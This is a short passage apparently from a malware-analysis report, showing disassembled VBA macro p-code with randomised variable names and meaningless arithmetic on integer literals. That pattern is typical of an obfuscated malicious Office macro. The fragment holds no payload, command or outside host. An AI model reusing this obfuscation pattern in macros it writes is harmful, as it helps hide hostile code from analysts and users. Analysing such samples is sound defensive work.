' 	Ld JZUQXwBA 
' 	SelectCase 
' Line #63:
' 	LitDI4 0x0DA3 0x3975 
' 	Case 
' 	CaseDone 
' Line #64:
' 	LineCont 0x0008 04 00 00 00 0E 00 00 00
' 	LitDI4 0x7523 0x1D9E 
' 	Ld nQGBB4c 
' 	Ld UUAADDD 
' 	ArgsLd Cos 0x0001 
' 	Mul 
' 	LitDI4 0x2E04 0x12A3 
' 	Add 
…

Open this report in the interactive analyzer, or submit your own file for analysis.